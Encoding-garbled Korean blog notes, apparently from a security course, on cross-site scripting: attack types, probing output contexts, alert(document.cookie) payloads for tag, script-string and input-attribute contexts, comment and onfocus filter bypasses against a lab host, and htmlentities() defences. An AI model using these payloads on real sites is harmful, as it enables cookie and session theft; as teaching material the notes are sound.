XSS ๊ณต๊ฒฉ ํ๋ก์ธ์ค
- -
๊ณต๊ฒฉ ๋์ ํ์
<, >, ", document.cookie, <script>
ex) <b> hello world </b>
๊ธ ์์ฑ ์ ์คํฌ๋ฆฝํธ ๋์์ด ๋์ง ์๋๋ผ๋, ๋ค๋ฅธ ํ์ด์ง๋ฅผ ํตํด์ ํ์ธ์ ํด์ผํ๋ค
๊ณต๊ฒฉ ๊ธฐ๋ฒ ํ์
DOM based : ์ฌ์ฉ์ ์ ๋ ฅ๊ฐ์ด ๋ฆฌ์คํฐ์ด ๋๋ ์ฝ๋์ ๋์ค์ง ์๋๋ค
Reflected Based : ์ฌ์ฉ์ ์ ๋ ฅ๊ฐ์ด ๋ฆฌ์คํฐ์ด ๋๋ ์ฝ๋์ ํจ๊ป ํฌํจ๋๋ค
Stored based : ์ถ๋ ฅ ํฌ์ง์ ๋ฐ ์ธ์ฝ๋ฉ ์์น ํ์ , ๋ฐ์ดํฐ ๋ฒ ์ด์ค์ ์ ์ฅ๋ผ์๋๊ฑธ ๋ถ๋ฌ์จ๋ค
๊ณต๊ฒฉ ์๋
XSS ๊ณต๊ฒฉ ๊ธฐ๋ฐ์ผ๋ก ์๋๋ฆฌ์ค ์์ฑ
<script>alert(document.cookie)</script>
DOM Based ๊ณต๊ฒฉ์ ์ฌ์ฉ๋๋ ๊ตฌ๋ฌธ
<script></script> ๊ตฌ๋ฌธ ์ฌ์ด์์ ์ฌ์ฉ๋๋ ๊ธฐ๋ฅ
document.write()
document.writeln()
document.URL
Element.innerHTML
<img src=# onerror=>
Stored์์ ์ถ๋ ฅ ํฌ์ง์ ํ์
์ ์ ์ฒ๋ฆฌ๋ฐฉ์ vs ํ์ ์ฒ๋ฆฌ๋ฐฉ์
(์ฌ์ฉ์) → ์ฌ์ฉ์ ์ ๋ ฅ๊ฐ → html → insert → DATABASE
์ ์ ์ฒ๋ฆฌ : INSERT๊ฐ ๋๊ธฐ ์ ์ HTMLentities ์ธ์ฝ๋ฉ์ ํตํด์ ์คํฌ๋ฆฝํธ ๋ฐฉ์ง
ํ์ดํ ๊ฐ์ด ๋ค์ํ root์์ ๋ณผ ์ ์์ ๋ ์ ์ฒ๋ฆฌ๊ฐ ๋ง๋ค
( ex - home์์ ๋ณผ ์ ์๋ ํ์ดํ, board์์ ๋ณผ ์ ์๋ ํ์ดํ)
# action.php
$content = htmlentities($db_conn->real_escape_string($_POST["content"]));
vs
(์ฌ์ฉ์) → ์ฌ์ฉ์ ์ ๋ ฅ๊ฐ → html → insert → DATABASE = SELECT html entities
ํ์ ์ฒ๋ฆฌ : SELECT๊ฐ ๋๊ธฐ ์ ์ HTMLentities ์ธ์ฝ๋ฉ์ ํตํด์ ์คํฌ๋ฆฝํธ ๋ฐฉ์ง
์ปจํ ์ธ ๊ฐ์ด root๊ฐ ๋ค์ํ๋ฐ ๊ฒฐ๊ณผ์ ์ผ๋ก ํํ์ด์ง์ ๋ณด์ผ ๋ ํ์ฒ๋ฆฌ๊ฐ ๋ง๋ค
# view.php
<td><?=htmlentities($row["content"])?></td>
๊ณต๊ฒฉ ๊ฐ๋ฅ ์ฌ๋ถ ํ์
๊ณต๊ฒฉ ๊ฐ๋ฅ ์ฌ๋ถ๋ ์ ์ํ๊ฒ ํ์ ํด์ผํ๋ค
๊ณต๊ฒฉ ์ฑ๊ณต ์ ๋ฌด๋ฅผ ๊ฒฐ์ ํ๋ค
<script>alert(document.cookie)</script> # -> o ๋
<script>alert(document.cookie)</script>
์๋ ๋
์์ ํ์ด์ง ์ด์ฉ , Stored based ๊ธฐ์ค์ผ๋ก ์ถ๋ ฅ ํฌ์ง์ ์ ๋ฐ๋ผ์ ๊ฐ๋ฅ ์ฌ๋ถ๋ ํ๋จ
ํํ ๋ถ์
1.<body> ํ๊ทธ ์์ ๋ค์ด๊ฐ ๊ฒฝ์ฐ
<body> [์ด๊ณณ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ ๋ ฅ] </body>
> ๊บฝ์ ๋ฌธ์(<,>) ์ฌ์ฉ์ด ๋ฐ๋์ ํ์ํ๋ค
<b> ํ๊ทธ๋ฅผ ๋ฃ์ด์ ๋ณผ๋์ฒด๊ฐ ๋์ค๋ฉด ๊บฝ์ ์ฌ์ฉ ๊ฐ๋ฅ
2.<script> ํ๊ทธ ์์ ๋ค์ด๊ฐ ๊ฒฝ์ฐ
<script> [์ด๊ณณ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ ๋ ฅ] </script>
<script> var keyword = "[์ด๊ณณ์ ์คํฌ๋ฆฝํธ๋ฅผ ์ ๋ ฅ]"; </script>
์คํฌ๋ฆฝํธ = " alert(document.cookie); //
<script> var keyword = " " alert(document.cookie); // "; </script>
<script> var keyword = "</script><script>alert(document.cookie)//"; </script>
์ ๋ฐ์ดํ(") ์ฌ์ฉ์ด ๋ฐ๋์ ํ์ํ๋ค
3. <input> ํ๊ทธ ์์ ๋ค์ด๊ฐ ๊ฒฝ์ฐ
<input type="text" name="keyword" value="[์ด๊ณณ์ ์คํฌ๋ฆฝํธ ์ ๋ ฅ]">
์คํฌ๋ฆฝํธ = ><script> alert(document.cookie) </script>
<input type="text" name="keyword" value="><script>alert(document.cookie)</script>">
๊บฝ์ ๋ฌธ์(<,>), ์๋ฐ์ดํ(") ๋ฐ๋์ ํ์
1๋ฒ์ ๊ฒฝ์ฐ <b> ํ๊ทธ๋ฅผ ๋ฃ์ด์ ๋ณผ๋์ฒด๊ฐ ๋์ค๋ฉด ๊บฝ์ ์ฌ์ฉ ๊ฐ๋ฅ
<b>test</b> --> ๊ณต๊ฒฉ์ด ๋ ์ ์๋ค
2๋ฒ์ ๊ฒฝ์ฐ test " test ๋ฅผ ๋ฃ์ด์ ๊ณต๊ฒฉ ๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ํ์ ํ๋ค
์คํฌ๋ฆฝํธ ์์์ " ๋ฌธ์๊ฐ ์๋๋ผ &qout ๋ก ๋์ค๋ฉด ๊ณต๊ฒฉ์ด ๋ ์ ์๋ค
DOM Based์์ ๊บฝ์(<, >)๋ฅผ ์ฌ์ฉํ์ง ๋ชปํ ๊ฒฝ์ฐ
location.href ๊ธฐ๋ฅ์ ์ฌ์ฉํ ๋๋ง ์ฌ์ฉ ๊ฐ๋ฅํ # --> GET์ผ๋ก ์ ์ก ํ ๋
์ฃผ์index.php#?var1=test1&var2=test2
http://192.168.0.200/xss/example3.php?keyword=<img src=x onerror=alert('test')>
http://192.168.0.200/xss/example3.php#keyword=<img src=x onerror=alert('test')>
๊ฒ์ฆ ๋ก์ง ๋ถ์
htmlentities() ํจ์๋ฅผ ์ด์ฉํ ๊ฒ์ฆ ๋ก์ง
<script></script> ์ด ๊ตฌ๋ฌธ์ ๋ฃ์ ๋ ์ฑ๊ณต / ์คํจ
์ฌ์ฉ์ ์ ๋ ฅ๊ฐ
1. ๊ฒ์ฆ ๋ก์ง์ด ์กด์ฌ
1-1 HTML tag ์ฌ์ฉ์ด ๊ฐ๋ฅํ
- ํ์ดํธ ๋ฆฌ์คํธ๋ฅผ ์ฌ์ฉํ๋ค
- ๋ธ๋ ๋ฆฌ์คํธ๋ฅผ ์ฌ์ฉํ๋ค
1-2 HTML tag ์ฌ์ฉ์ด ๋ถ๊ฐ๋ฅ
- HTML entity encoding
2. ๊ฒ์ฆ ๋ก์ง์ด ์กด์ฌํ์ง ์์
> ๋
ํ์ดํธ ๋ฆฌ์คํธ์ ๋ธ๋ ๋ฆฌ์คํธ ํ๋ณ
๋ธ๋ ๋ฆฌ์คํธ : ํน์ ํจํด๋ง ์ ์ธํ๊ณ ๋๋จธ์ง ALL ํ์ฉ
ํ์ดํธ ๋ฆฌ์คํธ : ํน์ ํจํด๋ง ํ์ฉํ๊ณ ๋๋จธ์ง ALL ๊ฑฐ๋ถ
<b>,<h1> ... ์ฌ๋ฌ๊ฐ์ง ๊ฐ๋จํ ํ๊ทธ๋ค์ ์ ๋ถ ์ธ์ฉํด๋ณธ๋ค
<test> ์ด๋ ๊ฒ ์ฌ์ฉํด ๋ณธ๋ค = <test> : htmlentity encoding
<test> ํ๊ทธ๋ฅผ ์ฌ์ฉํ์ ๋ ์ฑ๊ณตํ๋ค : ๊ณต๊ฒฉ ๊ฐ๋ฅ์ฑ์ด ์ถฉ๋ถํ ์กด์ฌ
te''st ์ฌ์ฉํด ๋ณธ๋ค : te"st : htmlentity encoding
te''st๊ฐ ์ ์์ ์ผ๋ก ์ถ๋ ฅ์ด ๋๋ฉด ์คํฌ๋ฆฝํธ ํ๊ทธ ๋ด์์ ์ฐํ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค
๋ฆฌ์คํฐ๊ฐ์์[<, >, "]๊ธฐํธ๋ค์ด [> / < / "] ๊ฐ์ผ๋ก ํํ์ด ๋๋ฉด
htmlentitiy encoding ์ด ๋์ด์๋ค > ๊ณต๊ฒฉ ์คํจ
์ฃผ์/๊ฐํ/๊ณต๋ฐฑ ๋ฑ์ ํ์ฉํ ์ฐํ
ex) alert(document.cookie)์ด ๋ฌธ์์ด์ ํํฐ๋ง
alert/**/(document.cookie)
alert(document/**/.cookie)
alert(document/**/./**/cookie)
alert(docu/**/ment.cookie) > ์๋จ
1
<b>test</b>
2
<script>alert(document.cookie)</script>
alert์ด ๋งํ์๋์ง script๊ฐ ๋งํ์๋์ง ๋ชจ๋ฅด๊ธฐ ๋๋ฌธ์
<b>alert(document.cookie)</b> ๋ฅผ ํ์ธํ์๋ ์ฌ์ฉ ๊ฐ๋ฅ
alert ๋์ฒด ๊ฐ๋ฅ ๋ฌธ๊ตฌ
confirm , prompt
3
<input type="text" name="keyword" value="๊ฐ">
<input type="text" name="keyword" value=" " <script> alert (document.cookie)</script">
inputํ๊ทธ์ ๋ด๊ฐ XSS ๊ณต๊ฒฉ์ ํ๋ ค๋ฉด ", <, > ์ฌ์ฉ์ด ๊ฐ๋ฅํด์ผ ํ๋ค
<input type="text" name="keyword" value="><script>alert(document.cookie)</script>">
- HTML entitiy encoding ๋ผ ์๋ ๊ฒ
onfocus ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ์ฌ์ฉํ๋ฉด HTML entities encoding์ ํํผํ ์ ์๋ค.
onFocus : ์ปค์๊ฐ ์์นํ ๋ ๋ฐ์ํ๋ ์ด๋ฒคํธ
<input type="text" name="keyword" value="autofocus onfocus="alert(document.cookie)" >
" autofocus onfocus="alert(document.cookie)
'๐ Secure' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
SESSION High jacking (0) | 2022.07.14 |
---|---|
XSS ์ฐํ ๊ณต๊ฒฉ (0) | 2022.07.14 |
XSS - Cross Site Script (0) | 2022.07.12 |
Secure coding (0) | 2022.07.12 |
SQL Injection ์ค์ต (0) | 2022.07.08 |
๋น์ ์ด ์ข์ํ ๋งํ ์ฝํ ์ธ
์์คํ ๊ณต๊ฐ ๊ฐ์ฌํฉ๋๋ค